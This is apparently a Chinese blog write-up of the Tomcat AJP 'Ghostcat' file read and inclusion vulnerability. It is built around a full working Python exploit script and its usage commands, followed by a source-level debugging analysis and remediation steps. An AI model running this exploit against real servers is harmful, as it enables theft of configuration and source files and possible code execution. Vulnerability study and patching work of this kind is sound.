前言:其实在老的内网,一些Tomcat服务的8009 AJP服务还是开放的很多,自己之前也遇到过很多,在写这篇文章的时候自己已经过了一遍Tomcat的架构,顺便从原理上面来学习下这个漏洞
参考文章:https://zhuanlan.zhihu.com/p/137527937
Apache与Tomcat都是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。
Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。
这里的"webapp 目录下的任意文件",我感觉说法是错的,在自己的调试测试发现,其实"webapp目录应用下的任意文件"才是更加准确。
环境搭建和漏洞利用
该文件包含漏洞影响以下版本:
7.*分支7.0.100之前版本,建议更新到7.0.100版本;
8.*分支8.5.51之前版本,建议更新到8.5.51版本;
9.*分支9.0.31之前版本,建议更新到9.0.31版本。
所以这里环境搭建就直接拿相关受影响的版本即可,我这里用的是Tomcat 8.0.50
原生Tomcat环境搭建
漏洞利用脚本:
#!/usr/bin/env python
# CNVD-2020-10487 Tomcat-Ajp lfi
# Based on: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
#
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
import socket
import struct
import argparse
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD,
'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route",
"ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)
res += pack_string(self.request_headers[h_name])
return res
def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res
r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break
return res
class AjpResponse(object):
_, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(
7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError
def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value
def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)
def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")
def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen
@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr
class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)
def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[], lfi=False):
if lfi:
self.req_uri = req_uri + '.jspx'
else:
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(
self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" %
(self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + (
"%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(
self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" %
snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009,
help="AJP port to attack (default is 8009)")
parser.add_argument('-w', '--webapp', type=str, default='ROOT',
help="Which webapp to attack (default is ROOT")
parser.add_argument('-f', '--file', type=str,
default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
parser.add_argument('-l', '--lfi', action="store_true",
help="local file include")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_, data = t.perform_request('/'+args.webapp+'/', attributes=[
{'name': 'req_attribute', 'value': [
'javax.servlet.include.request_uri', '/']},
{'name': 'req_attribute', 'value': [
'javax.servlet.include.path_info', args.file]},
{'name': 'req_attribute', 'value': [
'javax.servlet.include.servlet_path', '/']},
], lfi=args.lfi)
print('----------------------------')
print("".join([d.data for d in data]))
读取文件
python2 tomcat-lif-readfile.py 127.0.0.1 -p 8009 -w manage -f index.jsp
文件包含
python2 tomcat-lif-readfile.py 127.0.0.1 -p 8009 -w shiro -f calc.txt
这里包含了calc.txt中的内容,弹出对应的calc程序
读取文件漏洞分析
tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网IP。
想要通过AJP协议来跟Tomcat交互,那么肯定是需要了解相关的AJP协议然后写出对应的封装数据包的代码的,这里直接用上面的代码进行测试。
主要的变动为如下代码,可以看到指定了相关的webapp目录,以及请求文件的目录
_, data = t.perform_request('/'+args.webapp+'/', attributes=[
{'name': 'req_attribute', 'value': [
'javax.servlet.include.request_uri', '/']},
{'name': 'req_attribute', 'value': [
'javax.servlet.include.path_info', args.file]},
{'name': 'req_attribute', 'value': [
'javax.servlet.include.servlet_path', '/']},
], lfi=args.lfi)
因为是AJP协议进行处理,所以自己就直接定位到Tomcat中处理相关AJP的类中进行调试,如下图所示
来到 中org/apache/coyote/ajp/AjpProcessor.java的prepareRequest方法,该方法就是专门处理基于AJP协议传输过来的数据的,这里打个断点来进行分析
python2 tomcat-lif-readfile.py 127.0.0.1 -p 8009
下面的部分都是对当前请求的请求头信息先进行解析操作
往下走,接着就通过case语句开始对额外的信息属性进行解析,也可以我们这里自定义传输的req_attribute字段
一共自定义了三个req_attribute 所以这里就会解析三次,获得的对应数据都放置到当前的request对象中去,如下图所示
对request相关的信息包装好了之后,接下来就进行解析操作
最终来到了这里,调用栈如下
invoke:198, StandardWrapperValve (org.apache.catalina.core)
invoke:92, StandardContextValve (org.apache.catalina.core)
invoke:544, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:134, StandardHostValve (org.apache.catalina.core)
invoke:82, ErrorReportValve (org.apache.catalina.valves)
invoke:679, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:84, StandardEngineValve (org.apache.catalina.core)
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:482, AjpProcessor (org.apache.coyote.ajp)
process:68, AbstractProcessorLight (org.apache.coyote)
process:823, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1635, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:53, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
接着Filter走完了之后,最后就是执行该Servlet处理了
该servlet的service方法,因为Tomcat的Servlet默认都是继承HttpServlet,所以这里调用的就是HttpServlet的service方法
进入到doGet类型的方法中,如下图所示,接着就是开始读取资源
那么它是如何进行读取资源的呢?它会将对应文件的资源读到WebResource对象中去,如下图所示
最终将读取的内容进行刷新输出。
Tomcat在处理的时候是如何辨别用JspServlet 还是 httpServlet 来进行处理的?
这个也就是文件包含的处理,如果JspServlet处理的时候也就是进行RCE操作,它会执行以jsp来执行其中的内容。
java/org/apache/catalina/connector/CoyoteAdapter.java#postParseRequest
CoyoteAdapter在Tomcat中起到的作用就是对相关的request对象进行包装Servlet对象,那么对于其中的jsp还是http也是由该对象进行处理的。
postParseRequest中调用的一个map方法就会进行判断
connector.getService().getMapper().map(serverName, decodedURI,
version, request.getMappingData());
继续一直跟进去 internalMapWrapper:920, Mapper , internalMapExtensionWrapper方法就会对请求的路径来进行判断
如果后缀名为jsp 或者 jspx的话,那么最后保存的当前wapper都是jspServlet
最后StandardWrapper就是为 StandardEngine[Catalina].StandardHost[localhost].StandardContext[/shiro].StandardWrapper[jsp] ,其中的servlerClass为jspServlet
最后从StandardWrapper中取出来的Servlet就是jspServlet了,如下图所示
webapps根目录下是否可以进行读取
比如webapps/text.txt
我自己跟过,不行,因为ajp13://127.0.0.1:8009/./
,这样走的默认还是读ROOT目录下的
然后我又尝试正常的一个目录,然后 ../calc.txt
,它其中又有对../
的过滤,直接报错,所以最终以失败告终。
SpringBoot的环境是否可以利用ajp协议进行文件操作?
我自己跟着看是发现不能的,因为首先SpringBoot自己用的Servlet跟Tomcat的不一样,剩下的都是完全是自己的逻辑处理。
解决方案
1、临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />
2、配置ajp配置中的secretRequired跟secret属性来限制认证
3、官方下载最新版下载地址:
https://tomcat.apache.org/download-70.cgihttps://tomcat.apache.org/download-80.cgihttps://tomcat.apache.org/download-90.cgi